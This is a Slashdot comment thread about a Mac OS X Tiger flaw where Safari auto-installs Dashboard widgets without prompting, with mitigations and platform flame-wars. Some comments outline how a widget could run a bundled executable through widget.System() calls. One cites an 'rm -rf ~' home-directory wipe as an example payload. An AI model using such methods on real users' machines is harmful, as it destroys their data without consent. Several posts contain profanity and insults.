  50. SOFTWARE PATENTS! by Anonymous Coward · · Score: 0

    Oh, so it's OK that this guy has SOFTWARE PATENTS because he's an Apple guy, not an M$ guy. Very mature.

    1. Re:SOFTWARE PATENTS! by Anonymous Coward · · Score: 0

      Taking a closer look at the patents, it seems though that his employer-at-the-time, Nokia, applied and acquired the patents, not himself.

      I'm against the patents myself, but if I was unemployed, I would still probably note the things I invented in my CV that were revolutionary/unique enough to be successfully patented.

  51. Re:Not an exploit by geoffspear · · Score: 1

    Exactly. You might as well claim it's a serious security flaw that I could release a program which asks for your admin password to install and then formats your hard drive.

    --
    Don't blame me; I'm never given mod points.
  52. Re:Install failed on my Mac!!! How to protect your by robbieduncan · · Score: 1

    This is more secure because you have to type in your Admin password to install any widget. So the auto-install download will not work.

    Widgets in the main system library run just the same as the ones in your personal library. They do not run as root!

  53. Doubt.... by dotpavan · · Score: 1

    I have a doubt, which might sound rather silly, but I havent found a "good" soln: How would s/w or worms or any malicious orig/widget/[insert anything] get activated unless one is in an admin a/c. I surf in an a/c without any priveleges and switch to admin only when I have something [which I rely] to install.. a naive doubt but plz answer.. this is offtopic as I use windows xp..

    1. Re:Doubt.... by Anonymous Coward · · Score: 0

      AFAIK...

      You don't need to be admin to run a program or script, and you don't need to be admin to have write access to your home directory.

      So the only thing admin protects on a personal computer is on the CD that came with your computer anyway, the important stuff (your data) is readable and overwritable, and open relays etc can still be installed under user privileges - they just listen on 2525 instead of port 25.

      I hear there are tricks where you can set up home directories that programs can't be executed from, but once you go down that sort path you get a PC that doesn't "just work" anymore - it's only really an option for secuirty minded geeks who know what's going on, not really the MacOS target market.

  54. let by ImaLamer · · Score: 1

    Not easier to remove at all. It is always a matter of locating the content, removing it and rebooting. Windows has a number of third party tools that will do the work without a reboot needed.

    Let's be fair, all Ad/spyware sucks. It shouldn't be tolerated at all and offenders should be blacklisted for life. No one should put/run code on my machine but me!

    1. Re:let by BasilBrush · · Score: 1

      The story is in error. There is no need to reboot to get rid of this widget. Just close it in the dashboard, and delete it from the widgets folder. All gone.

  55. This can't possibly be true by rudy_wayne · · Score: 3, Funny

    This can't possibly be true.

    Everyone knows that Linux and OS X are perfect and only Windows has security exploits.

    Let's get it right people! You're slipping!

    1. Re:This can't possibly be true by mclaincausey · · Score: 1

      They don't "have" exploits, they "have" vulnerabilities. The exploits are the methods used to compromise the system.

      --
      (%i1) factor(777353);
      (%o1) 777353
    2. Re:This can't possibly be true by jc42 · · Score: 1

      Heh. Of course, it's the *BSD systems that are perfect (though of course they're dying). Linux and OSX are just wannabes.

      We can't let linux and OSX hog the religious flame fest.

      Actually, linux sorta has an excuse or two relative to the BSDs. The linux crowd has emphasized getting their system running on all extant hardware. This inevitably comes with the risk of poorly-written drivers and other hardware-dependent code. The BSDs don't try to support all hardware, in part because they want to thoroughly check out all software before releasing it, and this especially applies to drivers.

      OSX doesn't even have that excuse, though, since it's hardware is even more restricted.

      This problem isn't hardware-related, though, and it's an example of a well-understood design flaw, so there really isn't any excuse at all. It'll be interesting to see Apple's response.

      We can just hope that they thank Stephan, rather than threatening or prosecuting him. They've gotta know that a lot of us are watching. Unlike MS, Apple does have lots of credibility to lose ...

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
  56. You don't get it... by Seoulstriker · · Score: 1

    if Apple actually invented anything original. Both Apple and Microsoft copy just about everything from others.

    Microsoft has buggy software which would allow something like this to happen. Now it seems like Apple is copying off of that and allowing such ease of control of somebody's computer. It's both +1 funny and +1 insightful.

    --
    I am defenseless. Use your button. Mod me down with all of your hatred.
  57. Mac users, meh. by GregoryD · · Score: 0, Flamebait
    Windows 95/Internet Explorer here. No problem with installing anything on that page. When will all these Mac users learn?

    Switch to Windows, its better, really.

    /eat that self-rightous mac nerds, right back at ya! ttttttpppppbbbbbbbbttttt

    1. Re:Mac users, meh. by Anonymous Coward · · Score: 0

      Die you fuck. You're not funny, you're pathetic.

      Computer security isn't a fucking game you douche-bag.

  58. This isn't what we expect of Apple... by ibn_khaldun · · Score: 1
    Gee, what a coincidence -- like [apparently] many Slashdotters, I was spending Sunday afternoon experimenting with Tiger (rather than, say, watching the kids play soccer, talking with the wife, mowing the lawn, the things other people do on Sunday afternoon) and clicked on a widget download at the Apple site (which had opened in Safari -- this is what Dashboard does automatically -- needless to say I'm usually running Firefox, not Safari). I then spent five minutes trying to find the silly thing in my standard downloading folder so that I could move it to the /Libary/widgets and then noticed -- holy shit! -- it had already installed itself.

    I've got a BAAADDDD feeling about this -- looks way too much like Apple has been drinking Microsoft Kool-Aid. I don't want anything to install itself automatically on a Macintosh...

    --

    "All successful systems accumulate parasites" -- Hal Hixon

    1. Re:This isn't what we expect of Apple... by aristotle-dude · · Score: 1
      Check the source. Right click on the widget, explore the source. Chances are, you will only find javascript and no code thar calls cocoa.

      Try running that widget for the first time. You will be asked for permission to run it.

      Now if you had downloaded a widget with code calling cocoa like the TV tracker widget, Safari would prompt you for permission before it finished extracting and installing the widget.

      The same thing happens if you download an Application within an internet enabled dmg. Safari will prompt you for permission before depositing the app package on the desktop.

      --
      Jesus was a compassionate social conservative who called individuals to sin no more.
  59. Re:Not an exploit by Anonymous Coward · · Score: 0

    Did you actually just post a link to a fucking Slashdot story that is about an Apple update that patches THEORETICAL exploits as some sort of Take That comeback???

    How fucking sad.

  60. Addendum by daveschroeder · · Score: 1

    Also, an addendum to my previous post:

    Will someone call me when there actually *is* a real world, successful remote exploit on Mac OS X due to an actual flaw in the platform? (And not something like a person enabling ssh on a public network and having an account with username 'test' and password 'test'?)

    I love you guys who think Mac OS X is really horribly insecure, and the only reason it has had almost zero problems for over 4 years now isn't because the platform is actually inherently more secure, but is because of its low marketshare. (Funnily, it seems like another version of the "Macs have no software" argument.) I love ya. I really do.

    1. Re:Addendum by Anonymous Coward · · Score: 0

      Not to INTERRUPT ALL YOUR FURIOUS FANBOY SCREAMING, but there's been many exploitable flaws in OS X, including this very story here. The fact that nobody bother to exploit them in the real world could be seen as commentary on the importance of Mac users.

      Maybe you should concentrate on the social factors rather than TRYING TO YELL DOWN ANYONE WHO SAYS BAD THINGS ABOUT MACS.

  61. Not a problem by Lepton68 · · Score: 1

    1) It installs it but doesn't start it. You have to open Dashboard, find it in the Wigit catalog, and start it yourself.
    2) Widgets run in a sandbox.
    3) It's easy to close any Widget. Hold down the Option key, mouse over the Wiget, and the "X" appears allowing you to close it.

    --
    Mike from www.myallo.com/blog
    1. Re:Not a problem by argent · · Score: 1

      Not to mention that in Safari on Tiger, it fricken' prompts you whenever you download anything that may contain a program, i.e. a zip file.

      That's another problem with Safari, and if it can't be turned off in Tiger I'm glad I have Firefox as an alternative. The only result of hitting people over and over again with warnings that are usually false alarms is to inure them to the warnings, so when it's not a false alarm people ignore it. This isn't rocket science, either, the principle has been known for millennia.

    2. Re:Not a problem by gaelicwizard · · Score: 1

      I agree. I was on the Seed for this and I filed a bug report for every seed where this persisted without a preference. I have not yet installed the GM, but when I get around to it and find that there is still no preference, I will file one more bug.

      JP

      --
      -- JP
    3. Re:Not a problem by argent · · Score: 1

      Good on ya.

      Hope it won't take Apple as long to get a clue about this as it's taken Microsoft to NOT get a clue about it.

  62. Re:Not an exploit by numark · · Score: 1

    You'll also note that many of those flaws revolve around one of the following issues: A) bad data sent to the program causes it to crash (just crash, not expose any security risks) B) server-related issues in non-Apple-made programs such as Apache, and which will rarely be used by end users C) Require the user to either manually add a file to a certain location or authorize another program to add the file to that location. Only one or two actually have any serious end-user effect to them. I'm not one to say that Apple's perfect, but it's also not true to say that all 19 fixed flaws relate to security flaws that will likely affect end users.

    --
    Want Slashdot headlines on your site? Try SlashHead
  63. Re:Install failed on my Mac!!! How to protect your by Anonymous Coward · · Score: 2, Informative

    Just setting the permissions to the ~/Library/Widget folder to "Read Only" will do the trick.

    Of course, that doesn't mean that it should install widgets for you in the first place...

  64. some guy in Russia by Eric_Cartman_South_P · · Score: 3, Funny
    "some guy in Russia"

    Just find this guy and kick his ass. Problem fixed, no need to patch shit.

  65. 10.4.1 by cocoacow · · Score: 2, Insightful

    This is why apple is wating a little bit on releasing the first update to tiger, that way they will be able to nip all thoes nasty bugs and oversites in a nice update. Rest assured mac folks, this will get fixed Apple is really up on the security thing and they will problably set it up so that you are asked before installing any widgets. At least no matter how bad the fllaw is it isn't something that can comprimise the system itself.

    --
    `B Flicks, `Cool Lick'ah, `Sweet Talk' `in' ManG'
    1. Re:10.4.1 by Anonymous Coward · · Score: 0

      Gee, I feel safer already...

  66. Whether it's a security problem or not, by Hawthorne01 · · Score: 1, Insightful
    All I want is the ability to turn off Dashboard from the GUI. completely. Not individual widgets, the whole darn thing. I can do that with Konfabulator, but Dashboard is always on.

    THERE'S the real security hole, IMO.

    --
    "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."
    1. Re:Whether it's a security problem or not, by aristotle-dude · · Score: 2, Insightful

      How is this insightful? Having it on does not create a security hole. Security holes are created by flaws in the design but where is the real flaw here? All I see is FUD.

      --
      Jesus was a compassionate social conservative who called individuals to sin no more.
    2. Re:Whether it's a security problem or not, by stevejobsjr · · Score: 2, Insightful

      Watch Activity Monitor. It doesn't launch until the first time you call it up. Disable the key commands to bring it up and it'll never start.

    3. Re:Whether it's a security problem or not, by toddestan · · Score: 2, Insightful

      How is this insightful? Having it on does not create a security hole. Security holes are created by flaws in the design but where is the real flaw here? All I see is FUD.

      FUD? What is one of the first things you should do to lock down any box? How about turning off any unnessecery services. Things that you can't turn off is one of things people blast Windows for all the time. Why should any other OS be any different?

      And even if the program poses no risk, if I don't use it, why would I want it sitting there chewing up system resources?

    4. Re:Whether it's a security problem or not, by Kensho · · Score: 1
      MOD PARENT DOWN

      Click on the Dashboard icon and drag it off of the dock. If you don't run dashboard no widgets will be executed.

    5. Re:Whether it's a security problem or not, by Hawthorne01 · · Score: 1

      Sonavagun, I did that. And then I pressed F12. And lo and behold, there were them thar widgets again. Thanks for playing.

      --
      "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."
    6. Re:Whether it's a security problem or not, by Hawthorne01 · · Score: 1
      That was my point. I just figured that people here could figure it out.

      And then I realized I was on /. ;-)

      And before anybody blasts me for Mac hatred, look at my posting history, I love my Macs, and will defend what they do right to my dying breath.

      But this kind of thing dissapoints me. It's the kind of mis-prioritzing ease of use vs. security that we're used to seeing in Windows.

      Still, my worst day on a Mac is better than my best day on Windows.

      --
      "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."
    7. Re:Whether it's a security problem or not, by angrist · · Score: 1

      I don't have Tiger on this machine and don't feel like walking downstairs, BUT in the Dashboard (or Expose, amybe they're the same) control panel you can remove the hotkey command.

    8. Re:Whether it's a security problem or not, by Kensho · · Score: 1

      So how about you dont press F12 or just change the hotkey setting to null in preferences.

    9. Re:Whether it's a security problem or not, by mpeeters · · Score: 1

      If you do not start Dashboard, it is not running and does not consume anything. Right ? Just wondering.

      --
      Research is what I'm doing when I don't know what I'm doing.
  67. Apologists...Start Your Engines !! by VividU · · Score: 1

    But,But,But,M$....Oh, nevermind

  68. Just don't autoexecute downloads in Safari by mclaincausey · · Score: 1

    Under Preferences>General, uncheck "Open "safe" files automatically"
    Should be the default setting. In fact, this shouldn't even be an option. This capability has been the object of a few vulnerabilities.

    --
    (%i1) factor(777353);
    (%o1) 777353
  69. Re:Nice try by VoidWraith · · Score: 1

    I don't understand how you can state that there is no way to make a trojan for the MacOS. Are programs in MacOS not allowed to delete files? If the answer is yes (which I assume it is) then yes, a trojan can be made for MacOS. If you haven't found any, then the only thing stopping them is most probably either the fact that there's little point (the marketshare arguement), or that MacOS users aren't going to run it (which may also be related, but more positively for Mac users, to the marketshare arguement).

  70. Sky not falling, Safari warns user twice. by aristotle-dude · · Score: 1, Informative
    Safari will warn you when downloading a widget with cocoa calls in it by saying "widgetname contains an application. Are you sure you want to continue downloading widgetname?". You have the option to abort download and installation.


    Dashboard will ask you the first time a third-party widget is run and give you the option of not running it.


    What more should Apple do save crippling the functionality of Dashboard for all users?

    --
    Jesus was a compassionate social conservative who called individuals to sin no more.
    1. Re:Sky not falling, Safari warns user twice. by mithras+the+prophet · · Score: 5, Informative
      Safari will warn you when downloading a widget with cocoa calls in it by saying "widgetname contains an application. Are you sure you want to continue downloading widgetname?". You have the option to abort download and installation.

      Yes, but you won't get that prompt for a widget that doesn't have Cocoa code, but does contain widget.System() calls -- which effectively means it's an application. You could put an executable in your widget, not set the executable bit, but then chmod a+x and run it from widget.System() calls.

      Dashboard will ask you the first time a third-party widget is run and give you the option of not running it.

      It's so bizarre I didn't believe myself at first, but this is not true of widgets that are auto-installed. Try it yourself -- here is my example exploit page with an entire set of widgets that look identical to the Apple widgets. You will be prompted for permission with none of them, including the `Calculator' widget, which makes a widget.System() call and could conceivably have deleted your home directory.

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    2. Re:Sky not falling, Safari warns user twice. by Anonymous Coward · · Score: 0
      Try it yourself -- here is my example exploit page [columbia.edu] with an entire set of widgets that look identical to the Apple widgets.
      It would have been nicer if you'd separated your comments about your widgets from the actual page which downloaded them. I guess deleting 11 junk files is the price to read what you say?

      Interesting page, though, and I agree that this seems to be a genuine problem.

    3. Re:Sky not falling, Safari warns user twice. by antibryce · · Score: 1


      I don't know about Cocoa calls, but none of the widgets that access command-line tools asked me before they installed. It can run commands directly from the javascript, so it doesn't even need to include any actual binaries.

      Here's a good example:

      http://www.apple.com/downloads/macosx/dashboard/qu ickcommand.html

    4. Re:Sky not falling, Safari warns user twice. by Anonymous Coward · · Score: 0

      you're right, fixed. Thanks.

    5. Re:Sky not falling, Safari warns user twice. by lucifer_666 · · Score: 1
      This is so funny... ironic perhaps...

      I just went to your exploit page...

      To help protect your security, Internet Explorer blocked this site from downloading files to your computer. Click here for more options...

      Brilliant.

  71. Re:Nice try by Anonymous Coward · · Score: 0

    What was the point of setting up a strawman and knocking it down?

    Do you feel better now dummy?

  72. Didn't work on my system by 1nhuman · · Score: 5, Interesting

    I do use Tiger and Safari, but it didn't work on my system. Primarily because in Safari > System Preferences > General, I Unchecked the check box that automatically open's up Safe files, which includes archives (which I do not consider safe).

    Another thing I did, was to redirect downloads to a special download folder which has a special Folder Action attached that scans new files for viruses and then changes new files permissions to "No Access" (even if there are no viruses). If I want to open/read a downloaded file I have to change it permissions to read/write, for which I made a single-click Apple script that I dragged in the Finders top bar thingie. Ok I'm slightly paranoid, mainly because IT security is my thing (btw the reason why I switched to Mac OS X last year), But it works.

    --
    The glass is half-full. With poison. And there are cracks in the glass. The dirty, dirty glass.
    1. Re:Didn't work on my system by Anonymous Coward · · Score: 0

      hah apple sucks :p

    2. Re:Didn't work on my system by angrist · · Score: 1

      Very cool, sounds like a good idea.

      Could I get copies of those scripts?

      Thanks

  73. Re:Nice try by daveschroeder · · Score: 1

    Um, wha???

    I NEVER said a trojan can't be made for the MacOS (sic).

    In fact, I specifically said "it's definitely possible for Mac OS X to have viruses, worms, trojans, and other malware," and made several references to "trojans" that DO exist, so I have no idea where you got that from.

    But a trojan, a social engineering exploit that requires explicit and deliberate user action, is completely uninteresting. That will always be possible on all OSes and all platforms. If I write a .command file for Mac OS X, have it autodownloaded on a web page to the user's desktop (which could happen easily by default), and then give them instructions to double click the downloaded file to see a really cool screensaver, but it then does an rm -rf ~, which would require no further prompting, is that some kind of Mac OS X "exploit"? Hardly. It's just as much of an "exploit" as this is.

  74. Agreemsg by way2trivial · · Score: 1
    --
    every day http://en.wikipedia.org/wiki/Special:Random
  75. Important correction by daveschroeder · · Score: 5, Informative

    Well, it turns out I spoke too soon.

    I said that Dashboard would prompt you when the widget was run for the first time. It turns out that for auto-installed Safari widgets, it does NOT prompt you the first time the widget is run.

    Interesting.

    This is indeed a security issue, and it should be made to at least prompt the user.

    Considering that ALL other new widgets always prompt when first run, this appears to be a bug, and not the intended behavior.

    The temporary fix (and what I always recommend anyway) is to disable "Open 'safe' files after downloading" in Safari.

    1. Re:Important correction by moonbender · · Score: 1

      Nice of you to admit to it. Especially considering the generous usage of capitalised letters in your original post. ;)

      --
      Switch back to Slashdot's D1 system.
    2. Re:Important correction by Anonymous Coward · · Score: 0

      Dashboard only warns you when running widgets that have local file/network permissions. It has nothing to do with the auto-install feature.

    3. Re:Important correction by Anonymous Coward · · Score: 0

      ehm... ok I admit, I was wrong too :)

  76. Re:Not an exploit by Anonymous Coward · · Score: 0

    (Isn't it funny how the only "exploits" people can find for Mac OS X almost always exclusively revolve around social engineering, and never real flaws in the platform itself?)

    If this were true, why yes, yes it would be.

  77. You can disable it... by ethan_clark · · Score: 1

    Just uncheck the "Open safe files" checkbox in the General section of Safari's preferences. No more widget autoloading.

  78. Re:Install failed on my Mac!!! How to protect your by malchus842 · · Score: 1

    It's a single user system (my laptop).

    It doesn't require them to RUN those widgets - just have them in the widget dock. Frankly, I don't see this as a major problem, especially given the improved security. The widgets don't run as root, and you can't just install anything without proper administrative access.

  79. Steps taken by Anonymous Coward · · Score: 0

    And Apple will take steps to mitigate the problem.

    The fact is, we're not so much angry at MS for having vulnerabilities in the first place. We're angry that there are a) so fucking many of them, and b) they take a long, long time to get fixed.

    This is a bad thing, Apple will fix it, we'll all move on while a windows worm accounts for 25% of internet traffic.

  80. Turn off "Open 'Safe' Files" by one2meny · · Score: 1

    In preferences this can be avoided by turning off the "Open 'Safe' Files" option. Simply uncheck the box.

  81. Panther is just fine for me by Anonymous+Squonk · · Score: 1

    I'll upgrade sometime early in 2006...once all of the bleeding edge bugs have been taken care of. It will still be long before the first release of Longhorn...

  82. Well, I'd read what he has to say by darkest_light · · Score: 1
    if his page stayed open long enough for me to read anything. It downloaded the .zip and bounced me back to slashdot.

    I'd like to give him a chance to present his argument. If only he'd give me a chance to read it.

    --
    Orationem pulchram non habens, scribo ista linea in lingua Latina.
  83. Re:fp? by Jeremiah+Cornelius · · Score: 1

    Yes, this Proof of Concept widget was fortunately deterred under Safari - the payload issued "Format C: /FS:FAT" to the command shell.

    --
    "Flyin' in just a sweet place,
    Never been known to fail..."
  84. Linguistic transparency by Anonymous Coward · · Score: 0

    In the interests of getting the message across to the rest of computer-using humanity, can we just drop the rubric of "social engineering" and call it a con? "Social engineering" gives it an aura of false-respectability. Let's not.

    1. Re:Linguistic transparency by donarb · · Score: 1

      "Social engineering" gives it an aura of false-respectability.

      Which is why Kevin Mitnick used it so often...

  85. Re:HAH!/ jaguar--Tiger by Anonymous Coward · · Score: 0

    HI,
    I'm still running Jaguar, too.
    While I can't speak for the intial poster, from My perspective:

    Panther seemed pretty cool but at the time it was released a new version of the OS, Tiger, was already being aniticpated. There was also a glitch with Panther that eventually was corrected ( FileVault? Encryption?)

    Since, I was relatively new to OS X and still use OS 9 most often, I just wanted to get comfortable and up to snuff with X before I resumed the Get It While It is Hot buying pattern. From experience, waiting for a point one update is sound because those major errors are squashed.

    The thing is it seemed less important to get Panther as time went on. I think only the core audio stuff and a few other things are required for most 3rd party software updates. Those are all non-essential software for me. So, I don't miss them.

    My rational is that waiting a cycle and just buying a debugged Tiger is worth the wait. Every new feature Panther has will be in it plus
    "200 extra features" So, by jumping over Panther, I'll get "350 or so features" more than Jaguar.

    I'd buy Tiger (X. 10.4.1) when it comes out. Get it all on disk and you can probably wait to see if the 10.5 is going to be groundbreaking or just wallet breaking.

    cheers!

  86. Are you saying there's no Control Panel? by Anonymous Coward · · Score: 0

    There is no Control Panel for Dashboard?
    If not, that is dumb. I can see needing to tweak preferences from within widgets (if it allows for this) but to not have the ability to change permissions, delete widgets, or make them inactive or even special sets (like OS 9's extension manager or better than APE)...
    That is just dumb that you don't get more control. Hell, that is what control panels are for!
    When a widget is downloaded, there should be a dialogue box asking if you want it to install. That dialogue box should ask for a password to install. The Dialogue box should also link to a Control panel which lists all of the widgets and allows for easily removing offending widgets and gives options what to install or not to install. Hell, it should open the control panel for you. Show you Apple created (verified by .rsrc and source URL metadata) and third party widgets (using similar verifiable info).

    Obviously, that ain't there in Tiger. So, smack Apple. They need to give security control to the end user instead of Autoinstall?!? WTF!?? They also need to make users better aware of the Control Panels period. So the above solution(s) are a good starting point.

    As Seen On TV, are you listening????

  87. Not if you use Speed Download 3! by shatfield · · Score: 1

    I decided to byte the bullet, so to speak, and went to the site. The widget did automagically download, but because I run Speed Download 3, it was simply placed in my download folder.

    I don't work or have any affiliation with yazsoft (whoever they are, heh), but I can tell you that if you are running a Mac on a broadband connection, this is MUST HAVE SOFTWARE! I have a fast download connection to the 'net via Time Warner Cable and Earthlink, and I can max the line almost every time I download something (which is about 600KB/sec) with Speed Download 3. It's pretty cool.

    --
    "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
    1. Re:Not if you use Speed Download 3! by PigleT · · Score: 1

      Well yes, quite. Am I alone in the universe in preferring to use wget in a terminal for my actual downloads, if only so I can ensure they get placed in the right folder from the outset rather than having to move from ~/Downloads/ ?

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
  88. Re:Oh Joy! by Anonymous Coward · · Score: 0

    Oh that's so funny that the parent is modded "flamebait"! Touch a raw spot on the moderator's ass, I guess!

  89. I knew it. by timbloom · · Score: 1

    I knew this was a bad idea from the first time I saw it happen. Safari will warn you that your download MIGHT contain an application, the most annoying alert ever, and you can't turn it off. If somebody can't add simple instructions to copy the file to /Library/Widgets/ or the person can not follow those directions, it should not be installed.
    Being a very long time mac user, I prefer to install things myself. Using either installers or dragging a file to its required location, I don't know why, but I just feel better about it. For one I KNOW it's installed where I want it. For example /Library/Widgets/ means any user can use it on the machine. and ~/Library/Widgets/ means it's just for you. It seems as though these widgets are installed in the user's library folder, so they wont automatically run on somebody else's account, so that is somewhat better.
    Overall, Apple should just turn off auto installing of widgets. It's very against what apple customers are used to anyway, so it was very confusing when I downloaded a widget and it wasn't where I expected it to be. Causing me to download it again.
    The best option would be that the user has to launch the widget, from wherever it is at the time, and if it isn't in the widgets folder. Then alert the user that this widget isn't in the Widgets folder, and ask if you would like it to be installed either for everyone or just you.

  90. This is why I run BeOS by l0rdpestilence · · Score: 1, Funny

    I run BeOS for this reason: Netpostive is so out of date vary little runs in, sometimes even HTML. (Note to mods this is a funny)

    1. Re:This is why I run BeOS by Anonymous Coward · · Score: 0

      (Note to poster: don't tell me how to do my job)

  91. Re:Install failed on my Mac!!! How to protect your by bani · · Score: 1

    So, yes, it does affect Macs, but those of us who are completeloy paranoid are pretty safe.

    So basically that leavs out 99.99% of most mac users, who are novices like all other computer users.

    Really, apple dropped the ball with this one. They should have made the default to NOT automatically download WITHOUT ASKING, as it currently does default in safari.

  92. IE and activeX always prompted you? by Joseph_Daniel_Zukige · · Score: 1

    I guess somebody takes the time to tighten up your internet settings.

    Our maybe you just haven't noticed when you weren't prompted in a theoretically "safe" zone.

    But I agree, somebody's copying cool features without thinking.

  93. Reboot? I don't think so.... by UrlFlynn · · Score: 1

    Actually, you don't have to reboot. Just go to ~/Library/Widgets and delete the offending widget. Then log out and back in again. No reboot required.

  94. ohohoho this is gonna be fun by Pinefresh · · Score: 1, Funny

    gonna send this to all my friends who have a mac

  95. First Moz, now this... by MsGeek · · Score: 2, Insightful

    Today has really been a bad day for computer users. All we need next is Yet Another New Windows Exploit/Virus/Trojan/Worm and our day will be complete. :P

    --
    Knowledge is power. Knowledge shared is power multiplied.
  96. Re:Nice try by bnenning · · Score: 2, Interesting

    But a trojan, a social engineering exploit that requires explicit and deliberate user action, is completely uninteresting. That will always be possible on all OSes and all platforms.

    That's the thing; a good OS *should* be able to prevent those. The OS should be able to recognize that what claimed to be a screensaver is attempting to access your Quicken files and open a connection to somewhere in Russia, and it would probably be a good idea to deny that and let you know what's going on.

    User education is a lost cause. An OS needs to be able to defend against trojans without relying on the user to be particularly intelligent. Unfortunately I have no idea how to actually implement that in a usable manner.

    --
    How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
  97. You should be using Firefox anyway by Nice2Cats · · Score: 1
    This is probably considered dodging the problem, but I still find Firefox to be superior to Safari even after the Tiger update. Like, plugins for one -- the AdBlock plugin has pretty much changed my whole net experience.

    Safari is a good browser, of course, just as its daddy Konqueror is; it is just that Apple bet on the wrong horse. They should have gone with the Firefox core.

    1. Re:You should be using Firefox anyway by Anonymous Coward · · Score: 0

      Uh, dimwit Safari has nothing to do with Konqueror other than they both use the same html engine. Dunce.

      Safari?
      PithHelment
      Saft

      Why the fuck would anyone give a shit about your opinion?

    2. Re:You should be using Firefox anyway by Anonymous Coward · · Score: 0

      >> Safari has nothing to do with Konqueror other than they both use the same html engine

      Yeah, and an "html engine" is such a small piece of the web browser code that it would be absolutely idiotic to imply any connection!

      Sheesh...

  98. "Solution" by Rosyna · · Score: 2, Informative

    Yes, if goatse.cx is porn...

    But either way, if you installed Paranoid Android (direct link) it will ask you to approve the url. And it is opensourced too.

    1. Re:"Solution" by Shisha · · Score: 2, Informative

      Another temptorary solution is to run:

      sudo chmod a-x /System/Library/CoreServices/Dock.app/Contents/Res ources/DashboardClient.app/Contents/MacOS/Dashboar dClient

      in the Terminal. Of course this prevents all Widgets from running.

    2. Re:"Solution" by Anonymous Coward · · Score: 0

      an even simpler solution is to attach a folder action which requires a password to place anything in that folder. that way you don't need extra apps or shell scripts.

  99. Re:Not an exploit by drsmithy · · Score: 2, Insightful
    Except for one thing: the user has to EXPLICITLY GRANT it permission to run! Forget about the fact this is a Dashboard widget, or that he can write a goatse widget, or that he can make Dashboard unusable, etc etc etc. I don't CARE what the widget does. It can only do these things AFTER IT HAS BEEN GIVEN EXPLICIT PERMISSION TO RUN BY THE USER CLICKING "YES" IN A DIALOG BOX ASKING HIM/HER IF THEY'RE SURE THEY WANT TO RUN IT!

    Millions of email viruses and Windows spyware rely on exactly the same thing. That doesn't appear to have slowed them down any. Hell, there was a not-insignificant outbreak of a particular Windows trojan that required users to extract it from a *password protected zip file* before running it.

    Isn't it funny how the only "exploits" people can find for Mac OS X almost always exclusively revolve around social engineering, and never real flaws in the platform itself?

    Nearly as funny as the people who hold up the 95%+ of Windows "vulnerabilities" that rely on social engineering as proof of its "insecurity".

  100. Oh but it has, and you've proved part of my point by EtherAlchemist · · Score: 5, Insightful


    Good thing it hasn't happened then.

    Sure it has. Still does, past and present examples.

    Joke or not, your comment is indicative of the denial most Mac users seem to live in- "If it's not Windows, it's secure" and "If I don't hear about it, I must be OK" but the fact is that Mac OS X uses BSD, BSD has holes == Mac OS X has holes. Mac OS X is written by people who want users to have the easiest possible experience using their Mac. As a result, some of the things in place to make usability easier open up holes. This is the same for any OS. Anytime you cater to the user first and security second (or later) you will always ALWAYS provide someone else a way in.

    I have no problem with using one OS or another, I use whatever the hell I need to get the job done- to me it's a tool, not a lifestyle. As such, I make sure my tools are safe and pay attention when someone says my OS has a hole or exploit or vulnerability, rather than just refusing to believe it's true.

    --
    R(k)
  101. Afraid that won't work cuz... by NoData · · Score: 4, Funny

    IN SOVIET RUSSIA...some guy kicks ass of YOU!

    (Oh christ, why? The karma, it burns like my shame)

    1. Re:Afraid that won't work cuz... by Sentry21 · · Score: 1

      Actually, this isn't far wrong. I guess some people get so frustrated and angry when they get dinged by the 419 scams that they go to Nigeria looking for these people... Except these people make so much money that they can essentially control entire towns and hire a small army with the money they got.

      So yeah. I'm willing to bet that in Russia, soviet or not, you'd just get your ass kicked.

  102. Command line fix by dethl · · Score: 1

    1. Close Safari

    2. Open a terminal window and type:
    defaults write com.apple.Safari AutoOpenSafeDownloads No

    3. Open Safari back and enjoy.

    --
    "Some fight for law. Some fight for justice. What will you fight for? One day, you will see."
  103. Better yet by GoddessEvilena · · Score: 2, Informative

    If you hate the Dashboard and want to get rid of it, just throw Dashboard.app into the Trash and it will never launch again.

  104. Re:Install failed on my Mac!!! How to protect your by Anonymous Coward · · Score: 0

    but those of us who are completeloy paranoid are pretty safe.

    We're still out to get you, you know. With frickin' lasers.

  105. Re:Sandbox? what sandbox? by Anonymous Coward · · Score: 0

    You mean you made a trojan?

    I'll alert the media forthwith!!!

  106. Installed? by Mr+Bubble · · Score: 2, Interesting

    Is this "installed" or just put into a certain directory.

    If the widget auto-executed, then that would seem like a REALLY bad idea. But, if "installed" just means the widget is placed where Dashboard expects to find widgets, that seems less unsafe.

    You would still have to consciously decide to activate the widget in Dashboard, right? At that point you're at the same security level as any widget regardless of where the browser put it on your system.

    Still sounds funky, but not like the sky is falling.

    --
    "The world is a construct of forceful imagination. Those who don't know walk around in the reailties of those who do"
    1. Re:Installed? by Anonymous Coward · · Score: 0

      "Still sounds funky, but not like the sky is falling."

      I assume you likewise feel an app being downloaded to the desktop on any system that is able to be doubled clicked on to run is also "funky?" Or were you just still trying to cling on to some sort of criticism of Apple with an argument that is basically nothing more than "yeah but..."

    2. Re:Installed? by Mr+Bubble · · Score: 1
      "Or were you just still trying to cling on to some sort of criticism of Apple with an argument that is basically nothing more than "yeah but..." "

      Relax. I love Apple.

      By saying "funky", I mean I don't know if I fully understand the ramifications. The thrust of this thread seems to be it's a serious security breach. I don't see it, but crackers tend to find the most ingenius ways to get into shit and I am saying I would have to know more.

      Maybe you could answer the questions I posed. Is it really a big deal? It sounds to me that Safari is just choosing a certain directory to put the widgets in. There is no "auto-install" as far as I can tell.

      --
      "The world is a construct of forceful imagination. Those who don't know walk around in the reailties of those who do"
    3. Re:Installed? by Mr+Bubble · · Score: 1

      The more I think about it, the more I was right to call it "Funky".

      So, it won't auto-execute, but do I really want to acquire a folder full of spam widgets just by surfing around? If I want that, I use WIndows.

      Also, what if the widgets are named like widgets I trust? I might launch one on accident. I don't know how much damage widget code can do, but I stand by my assertion that it sounds "funky".

      So, no, I am not "clinging on to some sort of criticism".

      --
